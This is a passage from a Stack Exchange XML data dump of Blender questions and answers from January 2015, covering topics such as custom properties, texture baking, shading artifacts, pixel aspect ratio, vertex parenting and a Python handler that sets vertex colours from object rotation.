panel&#xA;&#xA;    def draw(self, context):&#xA;        self.layout.prop(bpy.types.Scene, &quot;testprop&quot;) #Make sure this matches the name you gave to your property.&#xA;&#xA;bpy.utils.register_class(myPanel) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will be found under the &lt;code&gt;Scene&lt;/code&gt; tab, in the &lt;code&gt;Properties&lt;/code&gt; panel, otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom property is basically a &lt;em&gt;field&lt;/em&gt; and can be read, programatically, as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.type.Scene.testprop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And delete them with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.wm.properties_remove(data_path=&quot;scene&quot;, property=&quot;testprop&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can check the relevant docs &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Properties#Custom_properties&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;, and the API &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_70_release/bpy.props.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2015-01-18T16:59:06.243" LastActivityDate="2015-01-18T16:59:06.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23401" PostTypeId="1" CreationDate="2015-01-18T17:25:12.203" Score="1" ViewCount="186" Body="&lt;p&gt;Baking textures in cycles in ruining the look of objects, but it only seems to be a problem when scaling is required(Scaling in this case was done in UV Editor by scaling UV unwrap. Leaving unwrap oversized causes texture display problems, but if I try to use Ctrl+a to average size and then Ctrl+P to pack, that causes issues in its own right.  Node Setup Included.  Im sure there is something simple I am overlooking, but I can't seem to nail it down. &lt;img src=&quot;https://i.stack.imgur.com/fIVgW.jpg&quot; alt=&quot;NodeSetup&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aqvP5.jpg&quot; alt=&quot;RenderedBeforeBake&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e7Wdw.jpg&quot; alt=&quot;BlenderTextureAfterBaking&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hfNSt.jpg&quot; alt=&quot;TextureAfterBakeinUnity&quot;&gt; Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="11058" LastEditorUserId="599" LastEditDate="2015-06-23T18:25:48.983" LastActivityDate="2015-06-23T18:25:48.983" Title="Cycles texture bake differs from rendered appearence?" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23403" PostTypeId="1" CreationDate="2015-01-18T19:04:45.487" Score="2" ViewCount="88" Body="&lt;p&gt;I am new to blender and have recently created my first model.  I created the mesh and then textured it, added a world environment texture, and rendered it only to find a very dark harsh &quot;shadow&quot; around the rear of my model.  However, the shadow only appears when I add a face to the back of the model to complete the whole mesh.  I have included pictures so you can see what I am talking about.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without the rear face&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/C8hCc.png&quot; alt=&quot;This is what the model looks like when the rear face of the cylinder is deleted&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the rear face&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IJ0Uw.png&quot; alt=&quot;This is what the model looks like with the rear face included&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first picture you can see the model's cylindrical body WITHOUT it's rear face resulting in no shadow.  However, in the second picture, a face was added to the rear of the model resulting in a harsh shadow as shown.&lt;br&gt;&#xA;I am using blender version 2.73&lt;/p&gt;&#xA;" OwnerUserId="11059" LastEditorUserId="2217" LastEditDate="2015-01-19T16:01:12.370" LastActivityDate="2015-01-19T16:01:12.370" Title="How do I eliminate a harsh lighting issue on my cylindrical glossy model?" Tags="&lt;cycles-render-engine&gt;&lt;mesh&gt;&lt;geometry&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23404" PostTypeId="2" ParentId="23360" CreationDate="2015-01-18T19:08:37.333" Score="3" Body="&lt;p&gt;There is a maintained repo on Github by BioticPixels with a script that does this exactly &lt;a href=&quot;https://github.com/BioticPixels/Blender-Dvorak-Key-Configuration&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/BioticPixels/Blender-Dvorak-Key-Configuration&lt;/a&gt;, (&lt;a href=&quot;https://pastebin.com/3157NQ3i&quot; rel=&quot;nofollow noreferrer&quot;&gt;more permanent link&lt;/a&gt;). It appears to not be feature complete but the author lists the restrictions and it appears to be usable for the most part. There are install instructions present or you can open your text editor and execute the script from there. &lt;a href=&quot;https://raw.githubusercontent.com/BioticPixels/Blender-Dvorak-Key-Configuration/master/Dvorak-Laptop.blend.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;Direct link&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2018-09-04T21:43:32.993" LastActivityDate="2018-09-04T21:43:32.993" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23405" PostTypeId="1" AcceptedAnswerId="23420" CreationDate="2015-01-18T19:46:47.883" Score="3" ViewCount="1542" Body="&lt;p&gt;I have a model which consists of the separate body, eyes and jaw meshes. I added a shapekey, which increases the neck's lenght. When I change the shapekey's value to 1 the eyes and jaw stay in the original positions. I want them to move together with a body mesh, while changing the shapekey's value. Is it possible? Is this kind of parenting exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mGPBd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-01-19T05:29:36.010" Title="How to make the shapekey influence separate object's position?" Tags="&lt;mesh&gt;&lt;editing&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23406" PostTypeId="2" ParentId="23403" CreationDate="2015-01-18T20:03:46.113" Score="2" Body="&lt;p&gt;It appears that you are using a Subsurf modifier, and a flat many-edged face on the back. That would be called an N-Gon, and is highly frowned upon in Blender as it brings a host of issues into the picture. Quads (faces with 4 edges) are much prefered, as it they work best for almost all of the relevant calculations done by Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This particular issue can be resolved by adding an edge-loop near the face on the back by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-18T20:03:46.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23407" PostTypeId="1" AcceptedAnswerId="23466" CreationDate="2015-01-18T20:30:23.137" Score="2" ViewCount="905" Body="&lt;p&gt;I have an array of values and I need to extrude each face - &lt;strong&gt;faces[&lt;em&gt;i&lt;/em&gt;]&lt;/strong&gt; - of an icosphere with the amount of &lt;strong&gt;&lt;em&gt;arr[i]&lt;/em&gt;&lt;/strong&gt; in the direction of it's normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to extrude the face I have selected by hand and managed to get the list of all faces of the mesh, but can't find a way to combine these solutions.&lt;/p&gt;&#xA;" OwnerUserId="11060" LastActivityDate="2015-01-20T01:31:56.460" Title="Extrude faces of an icosphere from a python script" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23408" PostTypeId="1" AcceptedAnswerId="23409" CreationDate="2015-01-18T20:32:59.223" Score="15" ViewCount="17634" Body="&lt;p&gt;Why would there be a difference in aspect ratio between a rendered image, and the camera perspective in the viewport? My render is getting squashed to fit a different aspect ratio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a scene with a circle and emission shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Camera perspective in the viewport:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XqVY9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FZ1sJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-12-14T05:31:52.747" Title="Rendered aspect ratio different from the viewport's camera view" Tags="&lt;camera&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23409" PostTypeId="2" ParentId="23408" CreationDate="2015-01-18T21:00:32.603" Score="16" Body="&lt;p&gt;The image has been rendered with an aspect ratio using non square pixels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qmLyL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SJS1T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default setting is X=1 Y=1 so that the image is rendered undistorted using square pixels. You only need to alter with this settings if you are using some display that uses non square Pixels, like old TV or are integrating 3D elements into video shot with &lt;a href=&quot;http://www.red.com/learn/red-101/anamorphic-lenses&quot; rel=&quot;noreferrer&quot;&gt;anamorphic lenses&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Info from the &lt;a href=&quot;http://www.blender.org/manual/render/output/video.html?highlight=render%20output#pixel-aspect-ratio&quot; rel=&quot;noreferrer&quot;&gt;manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unlike regular computer monitors, some screens (typically older TV sets) do not have the square pixels making it it necessary to generate pre-distorted images which will look stretched on a computer but which will display correctly on a TV set. It is important that you use the correct pixel aspect ratio when rendering to prevent re-scaling, resulting in lowered image quality.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;for more info see here: &lt;a href=&quot;http://helpx.adobe.com/premiere-pro/using/aspect-ratios.html&quot; rel=&quot;noreferrer&quot;&gt;http://helpx.adobe.com/premiere-pro/using/aspect-ratios.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-12-14T05:31:52.747" LastActivityDate="2015-12-14T05:31:52.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23410" PostTypeId="1" CreationDate="2015-01-18T21:44:11.663" Score="2" ViewCount="687" Body="&lt;p&gt;It is possible find the actual speed of object animated along a curve at a specific frame?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object has a &lt;em&gt;follow path&lt;/em&gt; constraint and it is animated by offset. I'm making a car animation and it would be useful to know this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get the curve's length by Curve Length Add-on it's in the description of &lt;a href=&quot;https://www.youtube.com/watch?v=v_bgexISCSA&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11061" LastEditorUserId="5705" LastEditDate="2015-01-19T02:12:06.490" LastActivityDate="2015-01-19T02:14:16.877" Title="Actual speed of object on curve" Tags="&lt;animation&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23411" PostTypeId="1" AcceptedAnswerId="23447" CreationDate="2015-01-18T22:08:35.857" Score="2" ViewCount="26818" Body="&lt;p&gt;so I have a pattern as a PNG. I was wondering if Blender had a way of turning the PNG into a mesh. It's kinda like how if you put a transparent shader on a plane with an image texture you get a 2d picture/sprite thing. I was wondering if I could do something like that but extrude it so it's a 3d mesh. If any of that made sense, how could I do this/is there a way to do this without modelling it all over?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance &lt;/p&gt;&#xA;" OwnerUserId="9711" LastActivityDate="2015-01-19T15:33:38.300" Title="Make a PNG into a mesh?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="1" ClosedDate="2015-01-19T18:58:18.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="23412" PostTypeId="1" CreationDate="2015-01-18T23:57:31.753" Score="1" ViewCount="730" Body="&lt;p&gt;Whenever I try to append an object the object generates in a totally random location. You'd think it would appear at the location of your 3D cursor. This is not the case. Is there a reason for this or do you think it could possibly be a bug? People suggest that it appears in the location it was saved in from the appended source file, but all the instances of these appended files appear to have the target object(s) around the center, yet when I append the object(s) they appear to be 20, maybe 30 units away in some direction.&lt;/p&gt;&#xA;" OwnerUserId="10911" LastEditorUserId="10911" LastEditDate="2015-01-19T15:07:04.100" LastActivityDate="2015-01-19T15:14:55.600" Title="Object append. Location is random" Tags="&lt;append&gt;" AnswerCount="0" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23413" PostTypeId="1" AcceptedAnswerId="23669" CreationDate="2015-01-19T00:48:12.097" Score="3" ViewCount="1544" Body="&lt;p&gt;I'm using an emission particle system to create a forest. For the most part it's working fine without problems.&#xA;But I do have a little problem. Some of my trees tend to float over the plane rather than coming straight from the face.&#xA;Here's an image of what I mean.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zNiWq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using an emission particle system&#xA;Here's my settings.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jVAJF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd just like the trunks of the trees to come straight from the faces of the plane, and not have some of them float above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using cycles if that's actually necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;EDIT&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what it looks like if I change from grid to random or jittered.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UGbBW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10871" LastEditorUserId="10871" LastEditDate="2015-01-19T01:14:17.490" LastActivityDate="2015-01-23T10:27:24.717" Title="Have particles come from faces" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="23414" PostTypeId="2" ParentId="23311" CreationDate="2015-01-19T01:05:00.670" Score="2" Body="&lt;p&gt;Just parent your object to an empty, then parent empty to an object you want to orbit around, animate one cycle, extrapolate channel to Linear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c1oDK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qw0Lp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UdZNF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xj6PC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1qihP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1bQ3W.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1610" LastActivityDate="2015-01-19T01:05:00.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23415" PostTypeId="2" ParentId="23410" CreationDate="2015-01-19T01:20:42.207" Score="2" Body="&lt;p&gt;I figured it out, I must measure the distance between one frame and multiply it by (scene fps)*60*60/1000, the result is in km\h (one scene unit is one meter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An automatic solution would be better though.&lt;/p&gt;&#xA;" OwnerUserId="11061" LastEditorUserId="5705" LastEditDate="2015-01-19T02:14:16.877" LastActivityDate="2015-01-19T02:14:16.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23417" PostTypeId="1" CreationDate="2015-01-19T04:11:15.453" Score="11" ViewCount="3374" Body="&lt;p&gt;I want to adjust the color of a material based on an object's rotation. I cannot do this with a driver, because the same material is used over a large number of objects: I would like each object to change color based on its own rotation value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this in either BI or Cycles? More generally, is there a way to change color based on an object property other than position?&lt;/p&gt;&#xA;" OwnerUserId="11066" LastEditorUserId="12" LastEditDate="2015-01-26T23:42:40.790" LastActivityDate="2017-03-23T09:28:00.657" Title="Change color with object rotation" Tags="&lt;animation&gt;&lt;materials&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23418" PostTypeId="1" CreationDate="2015-01-19T04:42:14.907" Score="1" ViewCount="32" Body="&lt;p&gt;I converted a curve to a mesh, and got the mesh data with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   mesh = bpy.context.object.data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This mesh had 47 vertices at this point. Then , I extruded the mesh (via script) along Z, and got 47 new vertices because of that (total 94)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this new addition is not reflected in my mesh data now. If I now perform some new operations using &lt;code&gt;mesh.vertices&lt;/code&gt; , it only affects the older vertices and doesn't affect the new ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I go about this?&lt;/p&gt;&#xA;" OwnerUserId="8438" LastActivityDate="2015-01-19T04:42:14.907" Title="Get updated mesh data after editing" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;&lt;transforms&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-01-19T15:52:37.103" ContentLicense="CC BY-SA 3.0" />
  <row Id="23419" PostTypeId="2" ParentId="23311" CreationDate="2015-01-19T05:04:21.103" Score="5" Body="&lt;p&gt;Place an empty at the location of the object you wish to orbit around, make this empty the parent of the object you want to do the orbiting, animate the rotation of the empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oOMrW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a continuous rotation, insert a rotation keyframe as a starting point, then advance a few frames, rotate the empty, then insert another rotation keyframe. In the graph editor select the rotation value and change channel extrapolation to linear. Channel-&gt;Extrapolation Mode-&gt;Linear Extrapolation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GIBhW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to have two keyframes on the rotation and have it constantly rotate. By changing the frame and the value you control the speed at which the object orbits around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eRNPf.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-19T05:04:21.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23420" PostTypeId="2" ParentId="23405" CreationDate="2015-01-19T05:29:36.010" Score="5" Body="&lt;p&gt;You could use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Groups_and_Parenting#Vertex_Parent&quot; rel=&quot;noreferrer&quot;&gt;vertex parenting&lt;/a&gt; to have the objects follow parts of your mesh. This has similarities to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Hooks&quot; rel=&quot;noreferrer&quot;&gt;hook modifier&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the teeth, &lt;kbd&gt;shift&lt;/kbd&gt; select the head, go into edit mode, select the target vertex (only one or three vertices can be selected, three vertices allows rotation when following) press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; to parent the other selected object to the selected vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QOeWt.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be careful as I expect you will deform the face for animation and the parenting will keep working. You could add an extra unattached vertex that moves with the neck shapekey but isn't used in facial animation, or maybe you could choose three vertices located one in each ear and one at the top of the head that won't get deformed in animation. You may also need the armature to follow so that any animation will happen relative to the new location, or parent a facial armature which will take the teeth and eyes with it.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-19T05:29:36.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23422" PostTypeId="1" AcceptedAnswerId="23428" CreationDate="2015-01-19T06:14:42.577" Score="6" ViewCount="2977" Body="&lt;p&gt;I imported a .dae file but there seems to appear line like objects (and circles at the end of it) starting out from the center of the world. Can you tell me what they are and can it be removed?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/euJWv.png&quot; alt=&quot;Lines from axis&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;But when I open the same environment (.dae file) in another application, I get a proper environment.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oWRpd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="11069" LastEditorUserId="92768" LastEditDate="2021-02-24T05:01:16.250" LastActivityDate="2021-02-24T05:09:04.537" Title="lines while importing .dae files" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23423" PostTypeId="1" CreationDate="2015-01-19T06:26:05.433" Score="3" ViewCount="2129" Body="&lt;p&gt;Is it possible to create a scene like kung fu panda with more that 5 characters, environment, simulation, vfx, lighting ...etc.&lt;img src=&quot;https://i.stack.imgur.com/9qvAt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11068" LastActivityDate="2015-01-19T09:02:17.520" Title="What are the system requirements for working with heavy/complex scene in Blender?" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="2" ClosedDate="2015-01-19T11:22:22.853" CommunityOwnedDate="2015-01-19T09:44:44.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="23424" PostTypeId="2" ParentId="23423" CreationDate="2015-01-19T07:18:20.243" Score="1" Body="&lt;p&gt;Of course it is possible, the minimum for rendering/composting this type of scene in less than 20 hours is and Nvidia GTX 650+ and either intel i5 or i7. But, your question was a bit vague so I don't really know what you mean. I hoped this answer helped though. :)&lt;/p&gt;&#xA;" OwnerUserId="6099" LastActivityDate="2015-01-19T07:18:20.243" CommentCount="3" CommunityOwnedDate="2015-01-19T09:44:44.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="23427" PostTypeId="2" ParentId="23423" CreationDate="2015-01-19T09:02:17.520" Score="1" Body="&lt;p&gt;I recommend having a GPU that supports the Blender Cycles Engine. It saves you a lot of time. But be careful some GPUs aren't supported, that's why I had to buy a new one. But as @NuclearBoofluff said, this question is a bit to vast.&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2015-01-19T09:02:17.520" CommentCount="1" CommunityOwnedDate="2015-01-19T09:44:44.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="23428" PostTypeId="2" ParentId="23422" CreationDate="2015-01-19T09:21:20.053" Score="7" Body="&lt;p&gt;These lines show &lt;strong&gt;relations&lt;/strong&gt; between objects. I think in your case these are parent-child relations, which means that in the bottom left corner there is an object (parent) that, if you move it, moves all the other objects (children) with it.&lt;/p&gt;&#xA;&lt;p&gt;You can disable that these lines are drawn.&lt;/p&gt;&#xA;&lt;p&gt;In the Overlays for the viewport you can disable &lt;strong&gt;Relationship Lines&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LxqVx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LxqVx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also have a look at the outliner window in the top right of your screen. It can tell you much about the scene:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pPj7G.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pPj7G.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you expand the item by clicking on the small triangle left of the name of the object, you will see the objects that are parented.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PbnnI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PbnnI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to make any of the parented object a completely independent object, then you can select it and press &lt;kbd&gt;⎇ Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; and clear the parent relationsip.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0Jr44.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Jr44.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;For Version 2.7&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Press &lt;kbd&gt;N&lt;/kbd&gt; while your mouse is in the 3D viewport to bring up the Properties shelf. Then scroll down to display and disable &lt;code&gt;Relationship Lines&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HHExa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you also want to deactivate the transform widget look for the marked button at the bottom of your 3D viewport:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gJQnb.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Alternatively you can activate &lt;code&gt;Only Render&lt;/code&gt;. Then anything that is not mesh data will be hidden, except for the transform widget.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/po2xh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="92768" LastEditDate="2021-02-24T05:09:04.537" LastActivityDate="2021-02-24T05:09:04.537" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23429" PostTypeId="2" ParentId="23417" CreationDate="2015-01-19T11:50:09.660" Score="5" Body="&lt;p&gt;Here is a hack:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Read the color from object's vertex colors, this way your objects can share the same material with different colors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e3mAW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the vertex colors on &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_61_0/bpy.app.handlers.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;frame change with python script&lt;/a&gt;. This won't have real-time performance but that shouldn't matter since you don't get material preview with vertex-colors in view-port anyway (it shows only in render).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# this is how you add vertex-color map:&#xA;obj.data.vertex_colors.new(name='Col')&#xA;&#xA;# this handler function, it will be called on every frame change&#xA;def update_colors_from_rotation(scn):&#xA;    for obj in scn.objects:&#xA;        color = YOUR_FUNCTION(obj.rotation_euler)&#xA;        # color should be float array [R,G,B]&#xA;        # or you can access custom ID props here also: color = obj['base_color']&#xA;        # and do something with it&#xA;&#xA;        # here is how you change the vertex-color map:&#xA;        for ipoly in range(len(obj.data.polygons)):&#xA;            for ivertex in obj.data.polygons[ipoly].loop_indices:&#xA;                obj.data.vertex_colors['Col'].data[ivertex].color.r = color[0]&#xA;                obj.data.vertex_colors['Col'].data[ivertex].color.g = color[1]&#xA;                obj.data.vertex_colors['Col'].data[ivertex].color.b = color[2]&#xA;&#xA;# register the function in frame change handlers:&#xA;bpy.app.handlers.frame_change_post.append(update_colors_from_rotation)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-01-19T16:33:10.050" 